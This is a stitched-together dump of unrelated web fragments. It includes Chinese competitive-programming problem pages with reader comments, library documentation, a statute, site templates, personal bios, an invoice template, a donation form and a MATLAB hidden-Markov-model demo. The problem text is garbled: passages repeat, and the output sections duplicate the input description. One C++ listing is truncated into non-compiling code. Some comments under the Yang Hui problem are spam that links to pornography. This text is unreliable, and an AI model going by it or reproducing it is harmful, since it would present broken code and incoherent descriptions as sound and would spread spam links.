The Center of Gravity
问题描述 :
Everyone know the story that how Newton discovered the Universal Gravitation.  Then Newton discovered the Universal Gravitation.From then
on,people have sovled many problems by the the theory of the Universal Gravitation. What’s more, wo also
have known every object has its Center of Gravity.
Now,you have been given the coordinates of three points of a triangle. Can you calculate the center
of gravity of the triangle?
leisurely, suddenly, an apple hit his head. Then Newton discovered the Universal Gravitation.From then
on,people have sovled many problems by the the theory of the Universal Gravitation. What’s more, wo also
have known every object has its Center of Gravity.
Now,you have been given the coordinates of three points of a triangle. Can you calculate the center
of gravity of the triangle?
输入:
The first line is an integer n,which is the number of test cases.
Then n lines follow. Each line has 6 numbers x1,y1,x2,y2,x3,y3,which are the coordinates of three points.
The input is terminated by n = 0.
Then n lines follow. Each line has 6 numbers x1,y1,x2,y2,x3,y3,which are the coordinates of three points.
The input is terminated by n = 0.
输出:
The first line is an integer n,which is the number of test cases.
Then n lines follow. Each line has 6 numbers x1,y1,x2,y2,x3,y3,which are the coordinates of three points.
The input is terminated by n = 0.
Then n lines follow. Each line has 6 numbers x1,y1,x2,y2,x3,y3,which are the coordinates of three points.
The input is terminated by n = 0.
样例输入:
2 1.0 2.0 3.0 4.0 5.0 2.0 1.0 1.0 4.0 1.0 1.0 5.0 0
样例输出:
3.0 2.7 2.0 2.3
题目意思没啥好说的。求三角形的重心。
套公式就好了。
#include<cstdio> #include<cstring> #include<iostream> #include<utility> #include<string> #include<set> #include<vector> #include<stack> #include<algorithm> #include<queue> #include<cstdlib> #include<cmath> using namespace std; const int inf=1<<29; const int M=50200; const double eps=1e-8; struct point { double x,y; }po[5],p,g; int n; int main() { int T; while(scanf("%d",&T)==1) { if(!T) break; while(T--) { for(int i=0;i<3;i++) scanf("%lf%lf",&po[i].x,&po[i].y); double tp,area=0,tpx=0,tpy=0; p.x=po[0].x; p.y=po[0].y; for(int i=1;i<=3;i++) { g.x=po[(i==3)?0:i].x; g.y=po[(i==3)?0:i].y; tp=(p.x*g.y-p.y*g.x); area+=tp/2; tpx=tpx+(p.x+g.x)*tp; tpy=tpy+(p.y+g.y)*tp; p.x=g.x; p.y=g.y; } g.x=tpx/(6*area); g.y=tpy/(6*area); printf("%.1lf %.1lf\n",g.x,g.y); } } return 0; }
解题转自：http://blog.csdn.net/new_c_yuer/article/details/6647467
(adsbygoogle = window.adsbygoogle || []).push({});
大白会不会被观众嘘啊
大白会不会被观众嘘啊
大白会不会被观众嘘啊
大白会不会被观众嘘啊
大白会不会被观众嘘啊
大白会不会被观众嘘啊
大白会不会被观众嘘啊
大白会不会被观众嘘啊
大白会不会被观众嘘啊
C语言版本的代码好像有点问题
妈呀！这个Dijkstra模板好长OwQ！
给力
有两个重复的话结果是正确的，但解法不够严谨，后面重复的覆盖掉前面的，由于题目数据限制也比较严，所以能提交通过。已更新算法
居然看懂了
swap写成内联函数会不会好一些
这个差别应该不会太大，或许编辑器就自动优化成内联函数了
遍历了所有的情况(2^n)，tmp数组就是由当前遍历的状态s推算出的
输入样例作为一个整体输入，带回车
写的很好~~
/*
* =====================================================================================
*
* Filename: 1366.cc
*
* Description:
*
* Version: 1.0
* Created: 2014年01月06日 14时52分14秒
* Revision: none
* Compiler: gcc
*
* Author: Wenxian Ni (Hello World~<EMAIL_ADDRESS>* Organization: AMS/ICT
*
* =====================================================================================
*/
#include
#include
using namespace std;
int main()
{
stack st;
int n,i,j;
int test;
int a[100001];
int b[100001];
while(cin>>n)
{
for(i=1;i>a[i];
for(i=1;i>b[i];
//st.clear();
while(!st.empty())
st.pop();
i = 1;
j = 1;
while(in)
break;
}
while(!st.empty()&&st.top()==b[j])
{
st.pop();
j++;
}
}
if(st.empty())
cout<<"YES"<<endl;
else
cout<<"NO"<<endl;
}
return 0;
}
这是往年的笔试题，非在线，主要考察基础，Java会在面试时问到


fun List<DataFrame>.bindRows(): DataFrame
Adds new rows. Missing entries are set to null. The output of bindRows() will contain a column if that column appears in any of the inputs.
When row-binding, columns are matched by name, and any missing columns will be filled with NA.
Grouping will be discarded when binding rows.
val places = dataFrameOf(
"name", "population")(
"Fort Joy", 150,
"Cloudsdale", 2000
)
// You can add multiple rows at the same time.
places.bindRows(
mapOf("name" to "Tristram", "population" to 72),
mapOf("name" to "Paper Town", "population" to 0)
)
// Adding incomplete rows inserts nulls
places.bindRows(mapOf("population" to 10), mapOf("name" to "Paper Town"))
// To drop additional columns originating from the bound rows simply select
places.bindRows(mapOf("name" to "Bucklyn Cross", "area" to 52.2)).select(places.names)
// Grouping is discarded when adding rows and needs to be reconstituated
places.groupBy("name")
.bindRows(mapOf("population" to 10))
// regroup
.groupBy("name")


[§356D-58] Lien attaches to personalty in possession. Sections 356D-56 and 356D-57 shall also apply to any personal property which, before May2, 1949, was left in or about any public housing project, and was taken into the possession of the authority or its predecessor in interest, as herein set forth and provided. [L 2006, c 180, pt of §2]
Note
Section 356D-56 referred to in text is repealed. For present provision, see §356D-56.1.


{% extends 'base.html' %} {% block content%} {{block.super}} Home
Category: {{gallery.category.name}}
Location: {{gallery.location.name}}


We hope you can make it! A proper e-invite will follow closer to the wedding. Please keep an eye out for updates at simanda.ca


--- layout: post title: DDD is back in Paris with a brand new Meetup group! date: 2013-01-04 12:00:22.000000000 +01:00 type: post published: true status: publish categories: - Actu - Bonnes pratiques de dév - Evénements tags: - bdd - boundedcontext - code - DDD - experience - junior - meetup - model - paris - senior - survey - ubiquitouslanguage - uml meta: _edit_last: '1' _activeshortener: tiny _twitterrelated_short_url: http://tinyurl.com/aavlvtf _twitterrelated_short_urlHash: 3acbdfd85d3ecdf6c74b378a9eb77cc5 sfw_pwd: gKKEtMX1V7Fo author: login: cyrille martraire email<EMAIL_ADDRESS>display_name: Cyrille first_name: Cyrille last_name: Martraire ---
The first DDD Open Forum of the brand new Paris DDD meetup was last night, hosted by Arolla, and it was good to meet again after a long time with twenty-some Paris DDD aficionados!
@tjaskula, the organizer of this new group, opened the evening with a welcome introduction. He also gave many suggestions of areas for discussion and debate.
A quick survey revealed that one third of the participants were new to Domain-Driven Design, while another third was on the other hand rather comfortable with it. This correlated with a rather senior audience, with only one attendee with less than 5 years experience and many 10+ years developers, including 22 years and 30 years experience developers, and still coding! If you work in Paris, I guess you know them already…
It was an open space session, so we first proposed a lot of topics for discussion with post-its on the wall: how to sell or convince about DDD, introduction on concepts, synchronizing between contexts…
We all decided to start with a walk through of the fundamentals of DDD: Bounded Contexts, Ubiquitous Language, Code as Model… It was great to have this two-way knowledge transfer between seniors and juniors, in an interactive fashion and with lot of questions, including some rather challenging and skeptical ones! There was also some UML bashing of course.
We concluded by eating Galettes des Rois, together with cider and beer, and a lot of fun. Thanks everyone for your questions and contributions, and see you soon on next meetup!


White to play 65
pips White=158 Black=163
(CorrectAnswer= 0/0, ErrorScore= 0)
1. 13/8 13/7 eq: +0.349 65.87% (G:21.19% B:0.99%) 34.13% (G: 6.68% B:0.25%) 2. 20/15 13/7 eq: +0.338 (-0.011) 66.25% (G:19.62% B:0.91%) 33.75% (G: 6.99% B:0.27%) 3. 7/1* 6/1 eq: +0.305 (-0.044) 62.09% (G:27.96% B:0.44%) 37.91% (G: 8.16% B:0.34%) 4. 13/7 6/1* eq: +0.208 (-0.141) 60.60% (G:21.90% B:0.61%) 39.40% (G: 8.64% B:0.35%) 5. 20/9 eq: +0.191 (-0.158) 61.50% (G:17.87% B:0.80%) 38.50% (G: 8.63% B:0.35%)


A lover of mechanical keyboards, old school games, and algorithms. He grew up loving the Sonic and Mega Man series, and is still a big fan.
Brandon is a Full Stack Web Developer from California with an interest in cool code and video games.
Anthony is a Web23 student looking to become a full stack web developer in the near future. When he’s not coding you’ll find him watching the New York Giants every Sunday.
Darren is a Web 23 student from Los Angeles with interest in becoming a full stack web developer. He is also interested in crypto currency and blockchain technology
Colin is a Web24 Student from Connecticut who is learning to be a full stack web developer after years of learning photography and being introduced to the tech world
Addison is a Web24 Student on his journey to become a full stack web developer. He loves to workout, watch sports, and play video games competetively.


$D44D/54349: Read next block Jump from $C629, $C8B0, $EE07: D44D: 20 93 DF JSR $DF93 ; get buffer number D450: 0A ASL ; times 2 D451: AA TAX D452: A9 00 LDA #$00 D454: 95 99 STA $99,X ; buffer pointer to zero D456: A1 99 LDA ($99,X) ; get first byte from buffer D458: F0 05 BEQ $D45F ; no block following? D45A: D6 99 DEC $99,X ; buffer pointer to -1 D45C: 4C 56 D1 JMP $D156 ; read next block Jump from $D458: D45F: 60 RTS Previous Page / Next Page


A library to visibly cull objects designed to work with pixi.js (but not dependent on pixi.js).
Includes two types of culling algorithms: simple and spatial hash. The spatial hash may be also be used for collision detection, AI, etc.
Features include:
pixi-cull has been reworked and ported to typescript. The following functionality was removed:
Since I maintain pixi-viewport, I was asked a number of times for a culling library. Well here it is. Choose from two drop-in algorithms to cull your objects.
import * as PIXI from "pixi.js"
import { Viewport } from "pixi-viewport"
import { Simple, SpatialHash } from "pixi-cull"
const app = new PIXI.Application()
document.body.appendChild(app.view)
// create viewport
const viewport = new Viewport({
screenWidth: app.view.offsetWidth,
screenHeight: app.view.offsetHeight,
worldWidth: 10000,
worldHeight: 10000,
})
app.stage.addChild(viewport)
viewport.drag().pinch().wheel().decelerate().moveCenter(5000, 5000)
// add red boxes
for (let i = 0; i < 500; i++) {
const sprite = viewport.addChild(new PIXI.Sprite(PIXI.Texture.WHITE))
sprite.tint = 0xff0000
sprite.width = sprite.height = 100
sprite.position.set(Math.random() * 10000, Math.random() * 10000)
}
const cull = new Simple() // new SpatialHash()
cull.addList(viewport.children)
cull.cull(viewport.getVisibleBounds())
// cull whenever the viewport moves
PIXI.Ticker.shared.add(() => {
if (viewport.dirty) {
cull.cull(viewport.getVisibleBounds())
viewport.dirty = false
}
})
https://davidfig.github.io/pixi-cull/
https://davidfig.github.io/pixi-cull/jsdoc/
npm i pixi-cull
or grab the latest release and use it:
<script src="/directory-to-file/pixi.js"></script>
<script src="/directory-to-file/pixi-cull.min.js"></script>
<script>
const SimpleCull = new Cull.Simple()
</script>
MIT License (c) 2021 YOPEY YOPEY LLC by David Figatner
Generated using TypeDoc


At IEEE, we are dedicated to serving the purpose of helping its
members to enrich their technical knowledge and expertise. The main focus of this
association is to conduct social and technical activities for students and create
awareness and encourages them to utilize the benefits of IEEE membership, including
scholarships, competitions, and conference grants.
Mobile Development
Machine Learning
Cyber Security
BlockChain
What We Do?
We’re on a Mission to Solve The Problems
by simply learning & teaching technology
Workshops
IEEE conducts Workshops on Machine Learning, App Development, Web
Development, Cyber Security and many more emerging fields.
Code Jams
IEEE hosts CodeJams like Google HashCode, picoCTF, MLH Local Hack Day,
Hacktoberfest and many more emerging fields.
BootCamps
IEEE hosts weekly BootCamps on technologies like Microsoft Azure, events
like Howdy Hack Week and many more emerging fields.
Seminars
IEEE hosts Seminars on Placements, Alumni Relations, Research Fields,
Upcoming Technologies and many more emerging fields.
From the desk of President
Our Mission
IEEE Student Branch TIET seeks to cultivate the culture of
research and development, to encourage the environment of experimentation and
novelty for a greater cause, to organize workshops, hands-on sessions etc. in
order to acquaint the students with recent trends and development in technology.
IEEE Student Branch TIET seeks to contribute towards the
technological development worldwide and intriguing the minds of students for
research and innovation for the betterment of humanity leading to global
prosperity and to promote engineering process of developing, sharing and
applying knowledge for the better future.
Guest Speaker Navdeep Sandhu will be
guiding the attendees on how to properly approach problem in CP. Also,
he will be covering some concepts of Recursion & Dynamic Programming.
IEEE ViceChair Shivam Goyal will be
guiding the attendees on how to participate & excel in Google HashCode
2020. Also, he will be solving practice as well as last year problems.
IEEE ViceChair Shivam Goyal will be
guiding the attendees on how to set up & collaborate on projects with
GitHub. Also, he will be covering local setup and extended Git
Scenarios.
Hash Code is a team programming competition, organized by
Google, for students and professionals around the world. You pick your
team and we pick an engineering problem for you.
IEEE ViceChair Shivam Goyal will be
guiding the attendees on how to get started with App Development in
Flutter. Also, he will be building a UI Clone of WhatsApp.


Enter the alias/name and the domain here.. (domain should be like 'trialzone.collab.net' without protocol). If you want automatic login support, use Lastpass extension.
Enter "case-sensitive" regex patterns of any additional object ids here.. (pattern should be like 'REV_\d+'. You can try debuggex.com or regexr.com to verify your regex)


About me
I am a Seattle native who as been in the tech industry for 25 years. My focus has been on providing the professional services industry with hands on, supportive system administration.
At the start of my career, I spent 5 years as a bench/field engineer supporting a myrid of businesses. I learned alot about what worked and what didn't as it relates to efficient, affordable and supportive IT.
Strengths
- Project Managment
- Problem Solving
- Personable Support
Favorite Passtimes
- Reading
- Historical Novels
- Science Fiction
- Biographies
- Cook Books
- Movies
- Science Fiction
- Anything with Meryl Streep
- Westerns
- Outdoors


Supreme Court declines to hear appeal of Adnan Syed, subject of season 1 of 'Serial'
by Scripps NationalThe Supreme Court has declined to hear the appeal case of Adnan Syed, the subject of the popular podcast Serial.
Syed was asking the Supreme Court to reconsider his life in prison sentence after he was convicted of killing his ex-girlfriend, Hae Min Lee.
Syed was appealing for a new trial, arguing ineffective counsel. Syed was granted a new trial in 2016 following a hearing in 2015. That ruling was upheld by Maryland's Court of Special Appeals in 2018, but was reversed on a 4-3 count in by Maryland's highest court, the Maryland Court of Appeals, in March.
The Supreme Court's decision not to hear Syed's appeal effectively keeps the Maryand Court of Appeals ruling in place.
The first season of Serial debuted in 2014. The podcast focused on specific pieces of Syed's case that could spark grounds for an appeal.


|
Quick Links: |
#include <bmqt_messageguid.h>
Public Types | |
| typedef bsls::Types::Uint64 | result_type |
Public Member Functions | |
| MessageGUIDHashAlgo () | |
| void | operator() (const void *data, size_t numBytes) |
| result_type | computeHash () |
This class provides a hashing algorithm for bmqt::MessageGUID
. At the time of writing, this algorithm was found to be approximately 4x faster than the default hashing algorithm that comes with bslh
package. Performance-critical applications may want to use this hashing algorithm instead of the default one.
See Component bmqt_messageguid
| typedef bsls::Types::Uint64 bmqt::MessageGUIDHashAlgo::result_type |
| bmqt::MessageGUIDHashAlgo::MessageGUIDHashAlgo | ( | ) |
Constructor
| void bmqt::MessageGUIDHashAlgo::operator() | ( | const void * | data, | |
| size_t | numBytes | |||
| ) |
| result_type bmqt::MessageGUIDHashAlgo::computeHash | ( | ) |
Compute and return the hash for the GUID.


This is a page for a specific assertion. It might have been created for the sole purpose of getting approved for the badge. It is proof that the badge's criteria has been met.


I am a multi-phasic computer expert residing in San Francisco, California. And I like helping people with my knowledge.
I have many technical and soft skills, including but not limited to:
- JavaScript, HTML, CSS, jQuery 3+, Node.js, Express.js...
- Bootstrap 4, Sequelize, RESTful API, React.js, MongoDB, MySQL...
- Windows and Unix sysadmin, Desktop and mobile technical support
- Wired and wireless Networking Admin, Database administration and Design
- Python, Pandas, Numpy, Scikit, Jupyter Notebook, Regression Analysis
- Applied AI, Chatbot, Data science, Big Data, and SQL
- And a ton of knowledge in various areas, such as technology, Star Trek, PC gaming and more
- Plus critical thinking and scambusting
I have coded websites since 1990's. Unfortunately none has survived. I graduated from fullstack coding bootcamp at University of California Berkeley Extension in 2020. Here are some of my recent projects. You can find the rest at my GitHub repo
Star Trek Doctor's Game
A memory game using React.js, Bootstrap, and SweetAlert. Can you find all 12 doctors without duplicating?
Code Repo: https://github.com/kschang77/doctorsgame
Demo Link: https://kschang77.github.io/doctorsgame/
Klingon Learner
A Klingon language vocabulary builder full-stack application using MySQL, Node.js, Express.js, Handlebars, Bootstrap, and jQuery.
Code Repo: https://github.com/kschang77/klingon-learner
Demo Link: https://kc-klingon-learner.herokuapp.com/
Geo-Hunt
A virtual scavenger hunt game built on top of Google StreetView JS API, using React.js, Node.js, and FourSquare API. Editor to create your own hunt is included.
Code Repo: https://github.com/kschang77/geo-hunt
Demo Link: https://geo-hunt-game.herokuapp.com/
I have worked as IT support for well over a decade.
I worked for almost ten years at DisCopyLabs, which is now called DCL Logistics. Started right out of college as IT Technician (back then it's called MIS, management of information systems). Started with regular computer wiring and maintanence, graduated to database admin, software development, system integration, and more.
I've also worked for Ace Xpress Charter as office manager i.e. the person who does everything, including IT. I am the only technical person on staff as the rest can barely use their iPhones.
My technical support related education
Google IT
Support Professional Certificate
Topics include: system administration, cybersecurity, networking, troubleshooting and debugging
IBM Customer Engagement Specialist Professional Certificate
Topics include: communication skills, handling different personalities, problem solving, and process control
Google IT Automation with
Python Professional Certificate
Topics include: Advanced troubleshooting and debugging, code repositories, Python scripting and automation
IBM IT Fundamentals for
Cybersecurity specialization certificate
Topics include: classifying cyber attacks and cyber defence, compliance frameworks, system administration
My first PC was a Commodore VIC-20, then Apple //e. I have worked in IT for a very long time.
My Data Science related qualifications
IBM Data Science Specialization
Certificate
Topics include: fundamentals, regression analysis, machine learning, using Jupyter Notebook and Python
IBM Applied AI Specialization
Certificate
Artificial intelligence fundamentals, chatbot development, computer vision project, Watson project
Cloudera Modern Big Data Analysis with SQL Specialization Certificate
Topics include: Big Data, SQL, Managing Cloud Storage and Clusters,
Query Tools and Caveats
I am a semi-professional short-article writer and blog article ghostwriter over with 100 articles on Hubpages.com and dozens of articles written for other sources
I have written and edited over 60 game FAQs that were read by millions of gamers in all genres, all backed by hours of playthroughs. My GameFAQs user level is 37 "Sage" -- highest non-staff level possible
I helped bring down several online scams with my Google-fu and online blog. Two of those were US scams that involved about one BILLION dollars each. Another was a 175 million scam in California.
I am fluent in English, Mandarin Chinese, Cantonese, and pretty decent in Spanish
I help people online every day with translation, programming, webdev, writing, and other topics on reddit as /u/kschang
I was a contributor (as Kasey K.S. Chang) to the official Star Trek Encyclopedia.
I have completed my Agile / SCRUM training and is self-studying to get certified.
I am looking forward to get some technical certifications.


Welcome to Jekyll!
Eddie edit edit file.
This may create a difficult merge.
You’ll find this post in your _posts
directory. Go ahead and edit it and re-build the site to see your changes. You can rebuild the site in many different ways, but the most common way is to run jekyll serve
, which launches a web server and auto-regenerates your site when a file is updated.
This may create a difficult merge.
To add new posts, simply add a file in the _posts
directory that follows the convention YYYY-MM-DD-name-of-post.ext
and includes the necessary front matter. Take a look at the source for this post to get an idea about how it works.
Jekyll also offers powerful support for code snippets:
Check out the Jekyll docs for more info on how to get the most out of Jekyll. File all bugs/feature requests at Jekyll’s GitHub repo. If you have questions, you can ask them on Jekyll Talk.


TAX INVOICE
To
Woolworths Ltd
1 Woolworths Way
Bella Vista NSW 2153
Woolworths Ltd
1 Woolworths Way
Bella Vista NSW 2153
Invoice Annexure No :
{{invoiceAnnexureNo}}
Date :
{{today}}
PO Number:
ITC{{poNumber}}
Service Month:
{{period}}
| Consultant | Project Name | Line No | Billing Hrs | Rate/Hr | Amount |
|---|---|---|---|---|---|
| {{name}} | {{projectName}} | 10 | {{billingPerHour}} | {{ratePerHour}} | {{formatNumber empTotal style="currency" currency="USD"}} |
| GST | {{formatNumber InvoiceGST style="currency" currency="USD"}} | ||||
| Total Amount | {{formatNumber InvoiceTotal style="currency" currency="USD"}} |
Please remit funds with invoice reference to Account:
BSB:242 000 Beneficiary A/C No.:233432008 SWIFT CODE: CITIAU2X
with CITIBANK N.A., 2 Park Street, Sydney NSW 2000, Australia
under intimation to Our Resident Manager
BSB:242 000 Beneficiary A/C No.:233432008 SWIFT CODE: CITIAU2X
with CITIBANK N.A., 2 Park Street, Sydney NSW 2000, Australia
under intimation to Our Resident Manager
For TATA CONSULTANCY SERVICES
AUTHORISED SIGNATORY
CORPORATE OFFICE: TCS House, Raveline Street, Fort, Mumbai 400 001, India.
Phone : 91 22 67789999 , Fax : 91 22 67789000
From
Tata Consultancy Services Limited
Level 6, 76 Berry Street, North Sydney, NSW 2060
Tata Consultancy Services Limited
Level 6, 76 Berry Street, North Sydney, NSW 2060
Woolworths PM Approval____________________________({{pm}})


Hawthorn: 1, Me: 1. A draw, but who isn't in the ground anymore?Neither of us, that's who! Hrmph... that sounded less awkward in my head.
2/7/2010, 10:09:48 PM
Favs: 0
Retweets: 0
link--- layout: tweet ---
Hawthorn: 1, Me: 1. A draw, but who isn't in the ground anymore?Neither of us, that's who! Hrmph... that sounded less awkward in my head.
2/7/2010, 10:09:48 PM
Favs: 0
Retweets: 0
link


This project was developed on myTinyToDo platform.
myTinyToDo platform is a user engagement platform that enables you to create tasks,
manage them in different lists, add note for each and priority, edit their properties,
mark them as a Completed tascks or delete them if you wish & more.
Create test cases in order to test myTinyToDo platform's features and functionality.
Build solid automation using POM (Page Object Model), and Java, Selenium, TestNG and Maven tools.
To get the best report for the Automation project and to get report readable and clear for anyone I inserted to the project Allure's features and annotations,
And now everyone can anderstand the results of the Automation run.
To manage the code in the best way I use Git + GitHub and Jenkins, Which gives a possibility to keep and change the code in the safest way, Share it with all the team and run it automatically at regular times.
To design the code in the best way I use P.O.M (Page Object Model),
Which give us to writing strong, change-resistant, clean and clear code that anyone can understand.


The “International Winter School on Blockchain Technology and Applications
– Hyperledger” aims at giving a comprehensive understanding of what Hyperledger
blockchain technology is and how it works in practice. During the winter
school, the students will explore how to design, configure implement and deploy
Hyperledger-based technologies. By the end of the school, the participants will
also gain insight into how the research is moving and how blockchains will
affect the future of industry and more in general complex organizations.
The school (online) combines lectures with tutorials and hands-on experiences.
In the following, we report the main topics that will be faced.
– Introduction to the blockchain technologies and related characteristics
(e.g., security, privacy, trust, performance, scalability).
– Detailed understanding of Hyperledger ecosystems, with a specific focus on
Fabric.
– Learn how to develop Hyperledger smart contracts and relative languages.
– Discover relevant case studies based on Hyperledger blockchain.


Find Its Place
问题描述 :
Have you seen the National Day military review? That’s very grand!
And now, ALPCs have received a arduous mission――taking a parade at August first.
The traditional order is rectangular, but ALPCs want to make a innovation. They start to research a new triangular order called Yang Hui’s triangle.
Yang Hui’s triangle is known to all:
1
1 1
1 2 1
1 3 3 1
1 4 6 4 1
1 5 10 10 5 1
In it the ends of each line is 1, and every other number in each line equals to the sum of the two numbers on the shoulders. It’s obvious that it’s a piece of cake (especially with the help of computer)for us to get value of the C-th number in line R, therefore our problem goes to the opposite: given two Continuous numbers in a same line, please find out their positions in this huge triangle.
And now, ALPCs have received a arduous mission――taking a parade at August first.
The traditional order is rectangular, but ALPCs want to make a innovation. They start to research a new triangular order called Yang Hui’s triangle.
Yang Hui’s triangle is known to all:
1
1 1
1 2 1
1 3 3 1
1 4 6 4 1
1 5 10 10 5 1
In it the ends of each line is 1, and every other number in each line equals to the sum of the two numbers on the shoulders. It’s obvious that it’s a piece of cake (especially with the help of computer)for us to get value of the C-th number in line R, therefore our problem goes to the opposite: given two Continuous numbers in a same line, please find out their positions in this huge triangle.
输入:
The first line of the input is a N indicating the test cases number.
Then follow N lines. Each line includes two positive integers: a, b, and a, b < 2^63. The number a should be aligned on the left of the number b. It’s certain that for every data input there is always a solution.
Then follow N lines. Each line includes two positive integers: a, b, and a, b < 2^63. The number a should be aligned on the left of the number b. It’s certain that for every data input there is always a solution.
输出:
The first line of the input is a N indicating the test cases number.
Then follow N lines. Each line includes two positive integers: a, b, and a, b < 2^63. The number a should be aligned on the left of the number b. It’s certain that for every data input there is always a solution.
Then follow N lines. Each line includes two positive integers: a, b, and a, b < 2^63. The number a should be aligned on the left of the number b. It’s certain that for every data input there is always a solution.
样例输入:
3 1 2 3 3 10 5
样例输出:
3 1 4 2 6 4
(adsbygoogle = window.adsbygoogle || []).push({});
大小粗细不一。。肯定不是机器的啊
这个更刺j激，准备好手纸哦 A 片。。 http://T.CN/RcWeTaH
打开 ｕｖｕ.ｃｃ/ir7p都是 浪美眉
方法4中使用hash表，只要用出现次数作为Value，就可以解决重复元素的问题了。
第一题是不是可以这样想，生了n孩子的家庭等价于n个家庭各生了一个1个孩子，这样最后男女的比例还是1:1
学习了
算法是程序的灵魂，算法分简单和复杂，如果不搞大数据类，程序员了解一下简单点的算法也是可以的，但是会算法的一定要会编程才行，程序员不一定要会算法，利于自己项目需要的可以简单了解。
第15行代码，/n/n，应该改为\n\n
#include <cstdio>
int main() {
//answer must be odd
int n, u, d;
while(scanf("%d%d%d",&n,&u,&d)==3 && n>0) {
if(n<=u) { puts("1"); continue; }
n-=u; u-=d; n+=u-1; n/=u;
n<<=1, ++n;
printf("%dn",n);
}
return 0;
}
很棒的网站，加油！⛽
补充：此算法求出的不一定是最优解，之前理解错了
在方法1里面：
//遍历所有的边，计算入度
for(int i=0; i<V; i++)
{
degree = 0;
for (j = adj .begin(); j != adj .end(); ++j)
{
degree[*j]++;
}
}
为什么每遍历一条链表，要首先将每个链表头的顶点的入度置为0呢？
比如顶点5，若在顶点1、2、3、4的链表中出现过顶点5，那么要增加顶点5的入度，但是在遍历顶点5的链表时，又将顶点5的入度置为0了，那之前的从顶点1234到顶点5的边不是都没了吗？
顺利测试通过了，多谢
看来学好代数很重要啊
楼主 为什么输入的形式都不对 题目是不是弄错了？
抱歉，确实是弄错了，原来的代码是错误的，删掉了
This write-up presents the gentle in which we can notice the fact. this is extremely wonderful one and gives in depth info.


The fields marked with asterisk are mandatory.
Classification is required.
A public report is available for anyone to view.
A private report is only available for its owner.


Breathability and inspiration come together in the Nike Zoom KD 12 By You. More perforations and engineered mesh in the upper offer targeted breathability, while a slimmer design is lighter than ever.
Terms & Conditions


Add Product
Name
Manufacturer name
Description
Quantity
Price
Sub Categories
Upload product image
Add Product


[gecode-users] [Help] Killer sudoku model (newbie)
Christian Schulte
schulte at imit.kth.se
Fri Mar 24 12:14:34 CET 2006
Thanks for the report, the test actually runs fine on my machine... This
looks as if we are talking a bug in your gcc (or some other part of the
software environment). Which version of gcc is it really? Could you send the
output of gcc -v?
Guido: could you try it on your mac?
Puzzled...
Christian
--
Christian Schulte, http://www.imit.kth.se/~schulte/
-----Original Message-----
From: Jean-Christophe Godart [mailto:jc at freesoft.be]
Sent: Thursday, March 23, 2006 12:46 PM
To: Christian Schulte; <users at gecode.org> <users at gecode.org>
Subject: Re: [gecode-users] [Help] Killer sudoku model (newbie)
Le 22-mars-06, à 13:04, Christian Schulte a écrit :
> Maybe you want to try whether Gecode compiled correctly at all. To do
> that,
> you can build and run the tests:
> make test
> ./test/test.exe (or ./test/test)
>
You're right, the tests stops here:
Int::Linear::Int::Dom::Eq::000: +++++
Int::Linear::Int::Dom::Eq::001: +++++
Int::Linear::Int::Dom::Eq::002: FAILURE
Test: Search
Problem: Wrong value in solution
Assignment: {-2,2}
-
Options: -seed<PHONE_NUMBER> -test Int::Linear::Int::Dom::Eq::002
FYI
Mac OS X 10.4.5 (BSD like)
PowerPC G5 single processor @ 1.8 GHz
gcc 4.0
gecode 1.0.1
Compiled the usual way :
./configure
make
sudo make install
I did recompile it with make distclean before, no changes.
BTW make install will fail installing the sym linked libs on Mac OS X
which doesn't support cp -a
I commented out the lines in the Makefile and manually sym linked the
libs with ln -s
> Christian
>
> PS: I am not an author of your program, maybe I hold copyright to
> parts but
> I am definitely not the author. The easiest is always to keep the
> original
> copyright header and write your own on top.
>
Hmmm, I didn't want to hurt anyone. Sorry for that, I'll change the
comments.
Made some more test on larger grids. It's working fine (except for the
icl dom option).
As expected, the hardest ones take 10+ min to solve.
Thanks for your help,
--
Jean-Christophe Godart, Belgium. http://sudoku.apinc.org/
More information about the gecode-users
mailing list


Toggle navigation
Live-i
Home
About Live-i
Team
Meet Our Team
Know more about us
Naman Garg
ML Developer
Amisha Jaiswal
Web Developer
Dhanya Aravapalli
Web Developer
Mudit Jindal
ML Developer
Tanishq Kumar
Web Developer


Donar A ReBuildUSAtoday-HPAC
10
20
50
100
200
300
500
Next
First Name *
Last Name *
Address *
City *
State *
1
2
3
4
5
Post Code *
Email address *
We'll never share your email with anyone else.
Phone *
Next
Card Number *
Expiration *
Month
January
February
March
April
May
June
July
August
September
October
November
December
Expiration *
Year
2017
CVV *
Donate


{% load staticfiles %}
Fett's homepage
The Fett
{{ fett }}
a simple plot
Hi there!
It works!
My backpack has jets
The Fett
The First Fett
The Second Fett


Contents
Description
Demonstrates parameter learning and inference on Hidden Markov Models using classic problem setup of a Casino that switches out a fair die for a loaded die
close all clear all % ----- Generate Sequence Data -------------------------------------------- % "Occassionally dishonest casino" example O = [1/6 , 1/6 , 1/6 , 1/6 , 1/6 , 1/6 ; ... % fair die 1/10, 1/10, 1/10, 1/10, 1/10, 5/10 ]; % loaded die T = [1/2 , 1/2; 1/4, 3/4]; pi = [1/2, 1/2]; len = 25; numSeq = 1; seq = ml_sampleMC(T, pi, numSeq, len); X = zeros(numSeq, len); % generate observation states from distribution at each hidden state for k = 1:len for p = 1:numSeq X(p, k) = ml_randSampleDiscrete(O(seq(k), :)); end end
Usage with known observation and transition probability matrix: Viterbi
options_hmm = []; options_hmm.observed = O; options_hmm.transition = T; options_hmm.pi = pi; model_hmm = ml_unsupervised_HMM(X, options_hmm); viterbiSeq = model_hmm.Viterbi(model_hmm); hmmviterbi(X, T, O) individuallyBestSeq = model_hmm.individuallyMostLikely(model_hmm); disp('Individually most likely latent variable states:') disp(individuallyBestSeq); disp('True latent variable states:') disp(seq) disp('Viterbi most likely latent variable sequence:') disp(viterbiSeq) disp('Misclassification rate for Viterbi:') disp(sum(viterbiSeq ~= seq) / length(seq)) disp('Misclassification rate for Most Likely Individual States:') disp(sum(individuallyBestSeq ~= seq) / length(seq))
ans = Columns 1 through 13 1 1 1 2 2 2 2 2 2 2 2 2 2 Columns 14 through 25 2 2 2 2 2 2 2 2 2 2 2 2 Individually most likely latent variable states: Columns 1 through 13 1 1 1 2 2 2 2 2 1 1 2 2 2 Columns 14 through 25 2 2 2 1 1 2 2 2 2 2 2 2 True latent variable states: Columns 1 through 13 1 1 2 2 2 2 1 1 2 1 2 2 1 Columns 14 through 25 2 1 1 1 2 2 2 2 2 2 2 2 Viterbi most likely latent variable sequence: Columns 1 through 13 1 1 1 2 2 2 2 2 2 2 2 2 2 Columns 14 through 25 2 2 2 2 2 2 2 2 2 2 2 2 Misclassification rate for Viterbi: 0.3200 Misclassification rate for Most Likely Individual States: 0.3200
